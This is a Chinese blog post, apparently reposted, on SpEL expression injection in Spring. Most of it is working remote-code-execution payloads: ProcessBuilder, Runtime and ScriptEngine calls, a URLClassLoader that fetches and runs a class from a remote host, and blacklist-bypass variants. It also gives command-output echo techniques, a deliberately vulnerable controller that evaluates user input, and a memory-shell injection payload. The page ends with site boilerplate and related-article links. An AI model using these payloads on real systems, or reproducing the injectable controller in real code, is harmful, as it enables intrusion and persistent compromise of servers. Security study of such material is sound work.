SPEL表达式注入分析

这篇具有很好参考价值的文章主要介绍了SPEL表达式注入分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

环境依赖

 <dependencies>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-expression</artifactId>
        <version>5.1.9.RELEASE</version>
    </dependency>
</dependencies>

SPEL表达式基础

SPEL简介

在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。
在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
SpEL有许多特性:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

定界符${}与#{}

这两个作用不太一样,${}是一个占位符,可以进行一些注入,但中间的内容不会被解析,#{}是SPEL特有的定界符,中间的内容会被解析

类型表达式T()

举个例子

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "T(java.lang.String)";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

// 输出
class java.lang.String

T中的内容会被解析成类,如上所示,这样我们也能解析java.lang.Runtime

SPEL常见的表达式

一些比较常见的表达式

运算符类型 运算符
算数运算 +, -, *, /, %, ^
关系运算 <, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算 and, or, not, !
条件运算 ?:(ternary), ?:(Elvis)
正则表达式 matches
运算符 符号 文本类型
等于 == eq
小于 < lt
小于等于 <= le
大于 > gt
大于等于 >= ge

变量定义和引用

在SPEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用#variableName来引用;除了引用自定义变量,SPEL还允许引用根对象及当前上下文对象:

  • this:使用当前正在计算的上下文;

  • root:引用容器的root对象;

  • @something:引用Bean

RCE直接利用

常见有三种办法

ProcessBuilder

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "new java.lang.ProcessBuilder(new String[]{'calc'}).start()";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

Runtime

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "T(java.lang.Runtime).getRuntime().exec('calc')";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

ScriptEngine

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
        // 或者
        String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

注意这里调用的js的引擎,支持js语法,所以利用方式非常的灵活,绕过黑名单啥的也是一把好手

类加载RCE

URLClassLoader

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evilref\").getConstructors()[0].newInstance()";
        String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evilref\").newInstance()";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

恶意类evilref用来弹计算器,自己写一个就行

AppClassLoader

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

绕过

假如ban掉了一些关键字,我们该如何获取classloader

T(org.springframework.expression.Expression).getClass().getClassLoader()

#thymeleaf 情况下
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()

#web服务下通过内置对象
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

#BCEL
T(com.sun.org.apache.bcel.internal.util.JavaWrapper)._main({"BCEL"})

回显问题

先搭建一个spring服务,写个controller

package com.example.demo.controller;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class spelcontroller {
    @RequestMapping("/spel")
    @ResponseBody
    public String spelvul(String payload){
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(payload);
        return (String) exp.getValue();
    }

}

nmmd,我为什么回显不了,sb springboot,直接给payload吧

BufferedReader

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

Scanner

new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()
这里的Delimiter是分隔符的意思,我们执行了dir指令,假如想让回显全部显示在一行。那么我们给一点乱七八糟的东西即可

ResponseHeader

由于springboot没有response,所以自己注册一个

package com.example.demo.controller;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.SpelParserConfiguration;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class spelcontroller {
    @RequestMapping("/spel")
    @ResponseBody
    public String spelvul(String payload, HttpServletResponse response){
        StandardEvaluationContext context=new StandardEvaluationContext();
        context.setVariable("response",response);
        ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());
        Expression exp = parser.parseExpression(payload);
        return (String) exp.getValue();
    }
}

#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())
然后就会返回一个x-cmd请求头带着我们的命令回显

注入内存马

不需要response,直接注内存马来搞回显
T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('????????'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()文章来源地址https://www.toymoban.com/news/detail-844368.html

到了这里,关于SPEL表达式注入分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • SpEL表达式详解

    中文spring官网:https://itmyhome.com/spring/expressions.html 英文spring官网:https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions Spring Expression Language (简称SpEL)是一种功能强大的表达式语言,是 spring 提供的,该语言类似于JSP当中的EL表达式。但提供了很多额外的功能,最

    2023年04月08日
    浏览(42)
  • Spring中的SpEL表达式

    SpEL (Spring Expression Language) 是 Spring 框架中用于在运行时对对象图进行查询和操作的表达式语言。它可以在不引入 Java 代码的情况下,轻松地对对象进行值的计算、属性的读取、调用方法、访问数组和集合等。SpEL广泛应用于Spring框架的许多模块中,比如Spring MVC、Spring Data、Sp

    2024年02月15日
    浏览(49)
  • Spring表达式语言(SPEL)学习(03)

    在表达式中直接写name和getName(),这时候Expression是无法解析的,因为其不知道name和getName()对应什么意思 当表达式是基于某一个对象时,我们可以把对应的对象作为一个rootObject传递给对应的Experssion进行取值 通过指定EvaluationContext我们可以让name和getName()变得有意义,指定了Ev

    2024年02月02日
    浏览(48)
  • Spring判断方法名是符合给定的SPEL+表达式的+API

    org.springframework.expression.spel.standard.SpelExpressionParser解析SPEL表达式 org.springframework.expression.spel.support.StandardEvaluationContext 验证方法名是否符合表达式 我们先使用SpelExpressionParser类来解析表达式,然后再创建一个StandardEvaluationContext对象,并将方法名作为变量设置到上下文中。最后

    2024年02月10日
    浏览(41)
  • 【SpringBoot应用篇】【AOP+注解】SpringBoot+SpEL表达式基于注解实现权限控制

    Spring 表达式语言 SpEL 是一种非常强大的表达式语言,它支持在运行时查询和操作对象图。 它提供了许多高级功能,例如方法调用和基本的字符串模板功能。 表达式语言给静态Java语言增加了动态功能。 Spring 表达式语言最初是为 Spring 社区创建的,它拥有一种受良好支持的表

    2024年02月20日
    浏览(45)
  • 最新最全面的Spring详解(三)——Resources,验证、数据绑定和类型转换与Spring表达式语言(SpEL)

    本文为 【Spring】Resources与Spring表达式语言(SpEL) 等相关知识,下边将对 Resources (包含: Resource接口 、 内置的 Resource的实现 、 ResourceLoader接口 、 应用环境和资源路径 ), 验证、数据绑定和类型转换 (包含: BeanWrapper 、 PropertyEditor属性编辑器 、 类型转换 、 配置 DataB

    2023年04月26日
    浏览(46)
  • Java表达式引擎选型调研分析

    我们项目组主要负责面向企业客户的业务系统, 企业的需求往往是多样化且复杂的,对接不同企业时会有不同的定制化的业务模型和流程。 我们在业务系统中 使用表达式引擎,集中配置管理业务规则,并实现实时决策和计算,可以提高系统的灵活性和响应能力 ,从而更好地

    2024年02月05日
    浏览(45)
  • 【编译原理】【词法分析】【正则表达式】【NFA】【DFA】【C++】正则表达式转DFA&NFA,判断字符串是否符合正则表达式的匹配算法

    显然,正则表达式、NFA、DFA的概念都很简单,所以直接上代码,注释应该解释地比较清楚, 没有万能头文件的自行替换需求库 ,如果有疑问的可以留言。 网盘链接 [自行补全]/s/1pbGT_wpB662TwFrnukXgGQ?pwd=TSIT 提取码:TSIT 原理可以参考这篇博客 传送门 本次程序由四个文件组成 文

    2024年02月11日
    浏览(88)
  • Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)

    spring-boot-actuator-logview 是一个简单的日志文件查看器作为Spring Boot执行器端点,在 0.2.13 版本之前存在着目录遍历漏洞,编号 CVE-2021-21234。漏洞本质是Spring Boot 执行器通过请求的参数来指定文件名和文件夹路径,经过组合拼接达到目录遍历,虽然源码中检查了文件名(filename)

    2024年02月08日
    浏览(38)
  • 【python数据分析】运算符与表达式

    🙋‍ 哈喽大家好,本次是python数据分析、挖掘与可视化专栏第三期 ⭐本期内容:运算符与表达式 🏆系列专栏:Python数据分析、挖掘与可视化 👍保持开心,拒绝拖延,你想要的都会有,加油加油! 本期内容为python的运算符与表达式~ 参考书籍:《Python数据分析、挖掘与可视

    2024年02月03日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包